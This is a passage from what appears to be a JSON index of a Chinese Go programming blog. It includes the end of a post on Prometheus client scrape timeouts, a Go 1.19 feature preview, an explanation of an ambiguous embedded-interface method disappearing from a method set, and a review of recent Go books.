在这里遍历目录中的文件 if err != nil { return nil, fmt.Errorf(\u0026quot;could not read %q: %w\u0026quot;, d.Name(), err) } return names, nil } 通常情况下，读取/proc/{pid}/fd目录是没有问题的，但当我们的程序上连接着100w+的连接时，意味着fd目录下有100w+的文件，逐一遍历这些文件将带来很大的开销。这就是导致Prometheus在超时时间(通常是10几秒)内无法及时采集到数据的原因。\n那么如何解决这个问题呢？\n临时解决方法是将registry.go文件的init函数中的MustRegister(NewProcessCollector(ProcessCollectorOpts{}))这一行注释掉！这个进程度量指标信息对我们用处不大。不过这样做的不足是我们自己需要维护一份prometheus golang client包，需要用到go mod replace，十分不便，并且不便于prometheus golang client包的版本升级。\n一劳永逸的解决方法是：不使用默认Registry，而是使用NewRegistry函数新建一个Registry。这样我们抛开默认注册的那些度量指标，并可以自行定义我们要注册的度量指标。需要时，我们也可以将ProcessCollector加进来，这个根据不同Go程序的需要而定。\n按这个方案修改后，那些熟悉的连续曲线就又重现在眼前了！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package\"\u003ehttps://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在基于eBPF的新一代观测设施尚未成熟之前，我们采用了业界成熟的\u003ca href=\"https://prometheus.io/\"\u003ePrometheus\u003c/a\u003e+\u003ca href=\"https://grafana.com/\"\u003eGrafana\u003c/a\u003e方案采集节点与应用\u003ca href=\"https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\"\u003e度量指标(metrics)信息\u003c/a\u003e。众所周知，这样的方案是一种\u003cstrong\u003e对应用有侵入的方案\u003c/strong\u003e，即需要在应用内部嵌入采集度量信息及与Prometheus通信的client包。\u003c/p\u003e\n\u003cp\u003ePrometheus官方提供并维护了主流语言的client包，包括Go、Java、Python、Ruby、\u003ca href=\"https://tonybai.com/2021/03/15/rust-vs-go-why-they-are-better-together\"\u003eRust\u003c/a\u003e等，如下图：\u003c/p\u003e","title":"Prometheus采不到数据了！居然是Prometheus client包的锅"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/12/go-1-19-foresight\n美国时间2022年5月7日，Go 1.19版本开发分支进入新特性冻结(freeze)阶段，即只能修Bug，不能再向Go 1.19版本中增加新特性了。由于上一个版本Go 1.18因引入泛型改动较大，推迟了一个月发布，这直接导致了Go 1.19版本的开发周期被缩短。\n虽然开发周期少了近一个月，但Go 1.19版本仍然会按计划在2022年8月份发布。而Go 1.19的第一个beta版也于今天凌晨发布了。Go 1.19版本都有哪些重要变化呢，我通过这篇文章带大家先睹为快。\n注1：版本特性变化以最终发布为准！\n注2：本文仅是前瞻，不会过于深入细节。细节待Go 1.19正式发布后再聊。\n泛型问题的fix 尽管Go核心团队在Go 1.18泛型上投入了很多精力，但Go 1.18发布后泛型这块依然有已知的天生局限，以及后续逐渐发现的一些问题，而Go 1.19版本将继续打磨Go泛型，并重点fix Go 1.18中发现的泛型问题。目前Go 1.19开发版本中大约有5-6个泛型问题待解决。之前谈到的可能放开一些泛型约束，在Go 1.19估计不会如期兑现了。\n不过可以确定的是Go 1.19将包含Go语法规范中的一处关于泛型的修正，即由下面表述：\nThe scope of an identifier denoting a type parameter of a function or declared by a method receiver is the function body and all parameter lists of the function.(译文：一个用于表示函数的类型参数或由方法接收器声明的类型参数的标识符的作用域范围包括函数体和函数的所有形式参数列表。)\n改为下面更新版的表述：\nThe scope of an identifier denoting a type parameter of a function or declared by a method receiver starts after the function name and ends at the end of the function body.(译文：一个用于表示函数的类型参数或由方法接收器声明的类型参数的标识符的作用域始于函数名，终止于函数体末尾。)\n这样一个改动，使得原本在当前版本Go编译器(Go 1.18.x)下编译报错的源码，在Go 1.19版本中可以正常编译通过：\ntype T[T any] struct {} func (T[T]) m() {} // error: T is not a generic type 修订Go memory model Go memory model是Go文档中最抽象的一篇，没有之一！随着Go的演进，原先的Go memory model描述有很多地方不够正式，也缺少对一些同步机制的说明，如atomic等。\n这次修订，参考了Hans-J. Boehm和Sarita V. Adve在“Foundations of the C++ Concurrency Memory Model，(PLDI 2008)”中对C++ memory model的描述方式，对Go memory model做了更正式的整体描述，增加了对multiword竞态、runtime.SetFinalizer、更多sync类型、atomic操作以及编译器优化方面的描述。\n修订go doc comment格式 Go内置了将comment直接提取为包文档的能力，这与其他语言通过第三方工具生成文档不同。go doc comment为Gopher提供了很大便利。但go doc comment设计于2009年，有些过时。对很多呈现形式的支持不够或缺少更为精确的格式描述，这次Russ Cox主导了go doc comment的修订，增加了对超链、列表、标题、标准库API引用等格式支持，修订后的go doc comment并非markdown语法，但从markdown语法中做了借鉴，同时兼容老comment格式。下面是Russ Cox提供的一些新doc comment的渲染后的效果图：\n同时，Go团队还提供了go/doc/comment包，gopher使用它可以轻松解析go doc comment。\nruntime.SetMemoryLimit 在Go 1.19中，一个新的runtime.SetMemoryLimit函数以及一个GOMEMLIMIT环境变量被引入。有了这个memory软限制，Go运行时将通过限制堆的大小，以及更积极地将内存返回给底层os，来试图维持这个内存限制，以尽量避免Go程序因分配heap过多，超出系统内存资源限制而被kill。\n默认memory limit是math.MaxInt64。一旦通过SetMemoryLimit自行设定limit，那么Go运行时将尊重这个memory limit，通过调整GC回收频率以及及时将内存返还给os来保证go运行时掌控的内存总size在limit之下。\n注意：limit限制的是go runtime掌控的内存总量，对于开发者自行从os申请的内存(比如通过mmap)则不予考虑。limit的具体措施细节可以参考该proposal design文档。\n另外要注意的是：该limit不能100%消除out-of-memory的情况。\nGo 1.19在启动时将默认提高打开文件的限值 经调查，一些系统对打开的文件数量设置了一个人为的soft限制, 主要是为了与使用select和其硬编码的最大文件描述符（由 fd_set 的大小限制）的代码兼容。通常限制为1024，有的更小，比如256。这样即便是gofmt这样的简单程序，当它们并行地遍历一个文件树时，也很容易遇到打开文件描述符超量的错误。\nGo不使用select，所以它不应该受这些限制的影响。于是对于导入os包的go程序，Go将在1.19中默认提高这些限制值到hard limit。\nGo 1.19 race detector将升级到v3版thread sanitizer 升级后的新版race detector的race检测性能相对于上一版将提升1.5倍-2倍，内存开销减半，并且没有对goroutine的数量的上限限制。\n注：thread sanitizer检测数据竞态的工作原理：记录每一个内存访问的信息，并检测线程对这块内存的访问是否存在竞争。基于这种原理，我们也可以知道一旦开启race detect，Go程序的执行效率将受到很大影响，运行的开销将大幅增加。v3版thread sanitizer虽然得到了优化，但对程序的总体影响还是存在的并且依旧很大。\nGo 1.19增加”unix” build tag Go 1.19将增加”unix”构建标签：\n//go:build unix 等价于\n//go:build aix || linux || darwin || dragonfly || freebsd || openbsd || netbsd || solaris 不过要注意，”*_unix.go”还保留原语义，不能被识别，以便向后兼容现有文件，尤其是go标准库之外的使用。\n标准库的一些变化 net软件包将使用EDNS 在Go 1.19中，net软件包将使用EDNS来增加DNS数据包的大小，以遵守现代DNS标准和实现。这应该有助于解决一些DNS服务器的问题。\nflag包增加TextVar函数 Go flag包增加TextVar函数，这样flag包便可以与任何实现了encoding.Text{Marshaler,Unmarshaler}的Go类型集成。比如：\nflag.TextVar(\u0026amp;ipaddr, \u0026quot;ipaddr\u0026quot;, net.IPv4(192, 168, 0, 1), \u0026quot;what server to connect to?\u0026quot;) // 与net.IPv4类型 flag.TextVar(\u0026amp;start, \u0026quot;start\u0026quot;, time.Now(), \u0026quot;when should we start processing?\u0026quot;) // 与time.Time类型 其它 在linux上，Go正式支持64位龙芯cpu架构 (GOOS=linux, GOARCH=loong64)。 当Go程序空闲时，Go GC进入到周期性的GC循环的情况下(2分钟一次)，Go运行时现在会在idle的操作系统线程上安排更少的GC worker goroutine，减少空闲时Go应用对os资源的占用。 Go行时将根据goroutine的历史平均栈使用率来分配初始goroutine栈，避免了一些goroutine的最多2倍的goroutine栈空间浪费。 sync/atomic包增加了新的高级原子类型Bool, Int32, Int64, Uint32, Uint64, Uintptr和Pointer，提升了使用体验。 Go 1.19中Go编译器使用jump table重新实现了针对大整型数和string类型的switch语句，平均性能提升20%左右。 小结 相对于Go 1.18，Go 1.19的确是一个“小版本”。但Go 1.19对memory model的更新、SetMemoryLimit的加入、go doc comment的修订以及对go runtime的持续打磨依然可以让gopher们产生一丝丝“小兴奋”，尤其是SetMemoryLimit的加入，是否能改善Go应用因GC不及时被kill的情况呢，让我们拭目以待。\nGo 1.19的里程碑在这里，所有feature和fix大家可以在该里程碑中看到。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/12/go-1-19-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-19-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/12/go-1-19-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/12/go-1-19-foresight\"\u003ehttps://tonybai.com/2022/06/12/go-1-19-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2022年5月7日，Go 1.19版本开发分支进入新特性冻结(freeze)阶段，即只能修Bug，不能再向Go 1.19版本中增加新特性了。由于上一个版本\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003eGo 1.18\u003c/a\u003e因引入泛型改动较大，推迟了一个月发布，这直接导致了Go 1.19版本的开发周期被缩短。\u003c/p\u003e","title":"Go 1.19新特性前瞻"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/06/the-disappeared-method-in-method-set\n在《Go语言第一课》中，我花了三节课对Go方法做了全面细致的讲解，而类型的方法集合是其中的一个重点，因为方法集合决定接口实现，并且课程还分门别类地对各种使用类型嵌入(type embedding)机制定义的类型进行了说明，讲解了这些类型的方法集合的组成规则。我还提供了一个可以输出某类型的方法集合的辅助函数，便于大家很直观地查看特定类型的方法集合。\n学员们在Go方法集合方面也投入了极大的学习热情，提出了不少好问题。这不，前两天有一位学员Aeins就提出了一个很好的问题，其问题如下(略做润色)：\nAeins： 下面示例中的结构体类型使用两种不同方式嵌入接口类型。 由于接口类型嵌入允许重名方法，因此I接口有三个方法。类型SI嵌入了接口类型I，因此，SI也有三个方法； SI12嵌入了接口类型I1和I2, 但SI12却只有两个方法。难道是结构体类型嵌入不允许重名，M 方法被自动隐藏了？， package main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) type I1 interface { M() M1() } type I2 interface { M() M2() } type I interface { I1 I2 } type SI struct { I } type SI12 struct { I1 I2 } func main() { var si SI var si12 SI12 DumpMethodSet(si) DumpMethodSet(si12) } func DumpMethodSet(i interface{}) { dynTyp := reflect.TypeOf(i) if dynTyp == nil { fmt.Printf(\u0026quot;there is no dynamic type\\n\u0026quot;) return } n := dynTyp.NumMethod() if n == 0 { fmt.Printf(\u0026quot;%s's method set is empty!\\n\u0026quot;, dynTyp) return } fmt.Printf(\u0026quot;%s's method set:\\n\u0026quot;, dynTyp) for j := 0; j \u0026lt; n; j++ { fmt.Println(\u0026quot;-\u0026quot;, dynTyp.Method(j).Name) } fmt.Printf(\u0026quot;\\n\u0026quot;) } ============ main.SI's method set: - M - M1 - M2 main.SI12's method set: - M1 - M2 从这个问题的示例代码中我们看到Aeins这位学员的疑问：通过嵌入组合了I1和I2的接口类型I的类型SI的方法集合中包含了方法M，而通过直接嵌入接口类型I1和I2的类型SI2的方法集合中的方法M却“消失”了，这是为什么呢？\n好了，下面我们就来分析一下。\n我们知道：一个类型的方法集合中的方法应该都是可以被这个类型实例所合法调用的。比如：\n// https://go.dev/play/p/gGkgsGRJpHv package main type I interface { M1() M2() } type T struct { } func (T) M1() { } func (T) M2() { } type S struct { I } func (S) M3() {} func main() { var s = S{ I: T{}, } s.M1() s.M2() s.M3() } 结构体类型S的方法集合中有三个方法，其中M1、M2来自于对接口类型I的类型嵌入，M3则是S自定义的方法。不过无论是哪个方法，一旦进入S的方法集合，它就可以被S实例合法调用。\n反过来说：只有能被类型实例直接调用的方法才能进入其方法集合。那么我们分别看看问题示例中的SI和SI12。\n先来分析一下SI。SI嵌入了接口类型I，而接口类型I则是由I1和I2两个接口类型组合而成。这种通过嵌入其他接口类型来创建新接口类型的方式，在Go 1.14版本之前是有约束的：如果新接口类型嵌入了多个接口类型，这些嵌入的接口类型的方法集合不能有交集，同时嵌入的接口类型的方法集合中的方法名字，也不能与新接口中的其他方法同名。但自Go 1.14版本开始，Go语言去除了这些约束，这也是I1和I2的方法集合有交集，但仍可以同时嵌入到SI中的原因。这样接口类型SI的方法集合就包含了M、M1和M2。\n当SI通过嵌入I进行定义时，SI的方法集合“继承”了接口类型I的方法集合，通过合理初始化后的SI的实例，我们可以合法调用M、M1和M2：\ntype S3 struct { } func (S3) M() { } func (S3) M1() { } func (S3) M2() { } func main() { var s = SI{ I : S3{}, } s.M() //ok s.M1() //ok s.M2() //ok } 我们再来看SI12。在问题示例中，SI12没有嵌入整合了I1和I2的接口类型I，而是直接嵌入了I1和I2。那么是否I1和I2的方法集合中的方法都会变成SI12类型的方法集合中的方法呢？那要看SI12类型的实例是否可以合法调用I1和I2的方法？我们看下面例子：\ntype S1 struct { } func (S1) M() { } func (S1) M1() { } type S2 struct { } func (S2) M() { } func (S2) M2() { } func main() { var si12 = SI12{ I1: S1{}, I2: S2{}, } DumpMethodSet(si12) si12.M1() // ok si12.M2() // ok si12.M() // ambiguous selector si12.M } 我们看到通过SI12类型的实例可以成功调用M1和M2方法，但在调用M方法时出现了“歧义”，Go编译器无法确定究竟该调用si12.I1.M方法还是si12.I2.M方法，即Go编译器无法合法调用M方法，因此M方法因未决的歧义性不能被列入SI12的方法集合中。\n这就是SI12类型方法集合中方法M“消失”的原因，你get到了么！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/06/the-disappeared-method-in-method-set/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-disappeared-method-in-method-set-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/06/the-disappeared-method-in-method-set\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/06/the-disappeared-method-in-method-set\"\u003ehttps://tonybai.com/2022/06/06/the-disappeared-method-in-method-set\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》\u003c/a\u003e中，我花了三节课对Go方法做了全面细致的讲解，而类型的方法集合是其中的一个重点，因为\u003ca href=\"https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\"\u003e\u003cstrong\u003e方法集合决定接口实现\u003c/strong\u003e\u003c/a\u003e，并且课程还分门别类地对各种使用类型嵌入(type embedding)机制定义的类型进行了说明，讲解了这些类型的\u003cstrong\u003e方法集合的组成规则\u003c/strong\u003e。我还提供了一个可以输出某类型的方法集合的辅助函数，便于大家很直观地查看特定类型的方法集合。\u003c/p\u003e","title":"Go：方法集合中“消失的方法”"},{"content":"\n本文永久链接 – https://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022\n计算机科学与技术这个工业大类与传统工业类别相比还很“年轻”，并且由于历史原因，整个计算机科学与技术学科的奠基都是由欧美人完成的，因此但凡诞生一门新IT技术或新编程语言，我们首先参考的都是来自欧美的外文技术书籍(影印或翻译)。\n以Go为例，笔者最先接触的Go技术书籍资料是《The Way To Go》：\n这也是笔者早期学习Go语言时最喜欢翻看的一本书，也是我目前见到的、最全面详实的讲解Go语言的书籍了，可以说是Gopher们的第一本“Go语言百科全书”。可能是由于这本书出版太早了，等国内出版社意识到要引进Go语言方面的书籍的时候，这本书使用的Go版本已经太老了。不过，这本书中绝大部分例子依然可以在今天最新的Go编译器下通过编译并运行起来。\n另外一本不得不提的就是由K\u0026amp;R C中的K：Brian W. Kernighan老爷子参与编写的《The Go Programming Language》：\n这本书模仿并致敬《The C Programming Language》的经典结构，从一个”hello, world”示例开始带领大家开启Go语言之旅。作者行文十分精炼，字字珠玑，这与《The C Programming Language》的风格保持了高度一致。而且，书中的示例在浅显易懂的同时，又极具实用性，还突出Go语言的特点（比如并发web爬虫、并发非阻塞的缓存系统等）。读完这本书后，你会有一种爱不释手，马上还要从头再读一遍的感觉，这也许这就是“Go语言圣经”的魅力吧！\n不过，随着Go语言在国内的扎根和广泛应用，国内接纳Go较早的一批Gopher以及国内大厂“身经百战”的Gopher开始将Go语言沉淀下来，并陆续上线了自己的作品。从2020年开始，国内作者出版的Go语言相关书籍已经逐渐多了起来，并且质量也在逐渐提升。就像我在《Go语言第一课》 的加餐文章《我“私藏”的那些优质且权威的Go语言学习资料》中预测的那样：将有更多Gopher加入Go技术书籍的写作行列，从2021开始的3年，国内Go语言技术书籍也会迎来一波小高峰。\n618购物节前夕，我就来简单评点一下2021年至今出版的口碑还不错的Go语言新书(按出版时间顺序)，大家可以趁打折力度较大的窗口按需从电商平台购买纸版书或电子书渠道购买电子书阅读^_^。\n1. 《Go语言底层原理剖析》 2021.8 Go语言是带有GC与运行时的语言，这就意味着很多东西不是“表面”看到的那样，比如string、切片、map等类型在运行时的表示与我们在源码中看到的有很大不同。要想玩转Go语言，不下沉到“原理”这一层还真不行。\n《Go语言底层原理剖析》这本书显然也是定位了那些对Go原理有述求的这部分gopher群体。书的作者郑建勋老师是滴滴的高级研发工程师。大家知道，滴滴公司内部使用Go技术栈实现的服务比例是很高的，因此这本书也是郑老师在滴滴“摸爬滚打”后的实践检验的沉淀与总结。\n这本书从Go编译构建原理起步，然后过渡到Go的几种常见复合类型(数组、字符串、切片、map)的实现原理的讲解，再到对Go核心语法函数、接口、异常处理的原理说明，最后是Go的精华，也是最难啃的部分：goroutine调度、内存分配与GC。如果从覆盖的内容全面性上，应该说基本都包含到了。\n笔者在微信读书上对整本书做了阅读，从阅读体验来看，郑老师的技术十分扎实，讲解也很到位。美中不足的是，有些内容刚刚引发你想继续深入的兴趣时，书籍内容却在这里戛然而止了。如果能继续展开就更好了，也许这是基于书籍篇幅上的考量。\n✩豆瓣评分：8.5\n✩微信读书推荐值：57.7%\n本书在豆瓣口碑与微信读书推荐上存在一些分化，原因这个还不得而知。\n2. 《Go语言设计与实现》 2021.11 《Go语言设计与实现》一书是作者左书祺(Draven)在其同名开源电子书《Go语言设计与实现》的基础上进一步系统整理和丰富而成。左老师的开源电子书在国内Gopher圈内有着相当好的口碑，他擅长以精美插图的方式对技术细节进行细致入微的讲解，作者甚至还专门出过一篇《技术文章配图指南》来说明其文章中插图制作使用的工具以及方法。\n和《Go语言底层原理剖析》一样，《Go语言设计与实现》同样聚焦在Go编译器、类型系统与运行机制的原理层面，两本书对原理的说明角度和风格各有特点，就看读者喜欢哪种。更好的方法是主题阅读，两个相互参照的看。\n编写面向Go底层原理的书是有一定“风险”的，很容易随着时间的流逝而变得“outdated”，这是因为Go语言还在快速演进中，其底层实现也在不断变化，远没有Java那样成熟，所以很难像神作《深入理解java虚拟机》那般“稳定”，需要不断更新。在这一点上，纸板书反倒没有开源电子书优势明显，后者可做到以快速持续的迭代更新。\n不过笔者觉得：要想对一个语言机制的底层原理理解透彻，光是掌握其当前的实现机制还不够，了解其实现机制的历史演进过程将大有裨益，而上面的两本书的价值恰恰还可以体现在这个方面，尤其是当书中的实现机制在将来过时的时候。\n✩豆瓣评分：8.5\n✩微信读书推荐值：未上架\n3. 《Go语言精进之路》 2021.12.17 写Go语言语法方面的书风险小，Go书籍的寿命都很长，这是因为Go1兼容性承诺的存在，这也是Go书籍作者的幸运。\n《Go语言精进之路》是笔者的作品，该作品主要面向一个刚刚Go入门后的Go新手，就像副标题描述的那样，聚焦于告诉一个Go入门新手如何能像Go开发团队那样写出符合Go思维和语言惯例的高质量代码。书中也有一部分底层原理的介绍，但这些介绍也都是为了配合主线的讲解。由于是偏思维、方法与技巧方面的讲解，里面的绝大部分知识点，即使是几年后，依然是有效的。这就像出版于2015年的Go语言圣经《The Go Programming language》目前看毫不过时一样。\n笔者自己的书不好自作点评，下面是近期一位读者在weibo上主动at我的评价：\n其他评价/评论大家也可以在书籍的豆瓣页面或微信读书页面上自行查看。\n✩豆瓣评分：8.9\n✩微信读书推荐值：84.1%\n4. 《Go语言定制指南》 2022.2.1 《Go语言定制指南》是国内Go技术专家柴树衫老师既《Go语言高级编程》后的又一力作，这次内容更加聚焦：围绕Go语法分析树学习Go词法分析、语法分析、语义分析以及中间代码生成的原理，并基于Go语法树对Go语言进行二次改造，基于Go语言语法裁剪出一个极小子集——凹语言，并实现其的解释执行。\n更具体来说，书中主要讲解的是go/ast和go/types等Go编译器相关包的用法，比如：结合Go语言的文法、语法与go/ast包输出的语法树的对应关系；使用go/types进行语义检查的方法等。\n这也是目前国内第一本以Go编译器前端为中心的Go语言技术书籍，即便放眼全世界，这也是稀有的。如果你对Go编译器的工作原理、对定制Go语言十分感兴趣，那么此书是你的不二之选。\n不过编译器和语言开发是门槛较高的领域，不免会出现“曲高和寡”的境遇，这本书注定是本已是小众的Go社区中的小众群体的菜。\n✩豆瓣评分：暂无\n✩微信读书推荐值：暂无\n5. 引进版新书简评 在豆瓣图书搜索Go技术书籍，看到下面几本刚刚出版不久(可能尚未上架)以及即将出版的几本引进版的新书，这里顺便说说。\n《Go语言学习指南：惯例模式与编程实践》 2022.4.29 这是O’Reilly出版社于2021年3月出版的《Learning Go: An Idiomatic Approach to Real-World Go Programming》的中译版，中文版我还没有来得及读，不过原版我是粗略读过的。这本书面向Go入门群体，同时结合一些实战的例子，与《The Go Programming Language》的受众群体相似度很高。\n这本书(原版)整体质量很高，语言精炼，讲解全面，更重要的是它似乎也是第一个包含Go泛型内容的Go入门书，只不过出版时，Go泛型尚未正式发布。今年3月份Go 1.18泛型落地后，该书作者还对泛型章节做了修订，并在网上提供电子版供读者下载。\n《用Go语言自制解释器》 和《用Go语言自制编译器》 2022.6.1 这两本都是索斯藤·鲍尔（Thorsten Ball）在2018年自出版的书！作者使用Go语言手把手教你实现了一门类C语法的Monkey语言，从词法分析、语法分析、建立语法树并进行语法分析，到生成字节码，并实现可以执行该字节码的虚拟机，实现Monkey语言的真实执行。这本书在国外颇受好评。\n作者在书中采用的是手写词法分析器和语法分析器的方式，而不是借助像ANTLR这样的parser生成工具，这可以让读者更加深刻的理解和认知一门编程语言的实现过程，酷感十足。\n6. 小结 我们看到，2021年来出品的Go技术书籍都获得了不错的口碑，这也说明国内Go语言的整体水准在提升，对于刚刚加入Go社区的小伙伴们，这是真金白银般的好消息，看好书可以避免走弯路，节省大量时间与精力！\n挑一本适合你的，该出手时就出手吧！\n注意：以上豆瓣评分与微信读书推荐值都是2022.5.31的快照值，不代表后续不会发生变化。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/reviewing-those-new-go-language-books-coming-out-in-2021-2022-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022\"\u003ehttps://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e计算机科学与技术这个工业大类与传统工业类别相比还很“年轻”，并且由于历史原因，整个计算机科学与技术学科的奠基都是由欧美人完成的，因此但凡诞生一门新IT技术或新编程语言，我们首先参考的都是来自欧美的外文技术书籍(影印或翻译)。\u003c/p\u003e","title":"评点2021-2022年上市的那些Go语言新书"},{"content":"\n本文永久链接 – 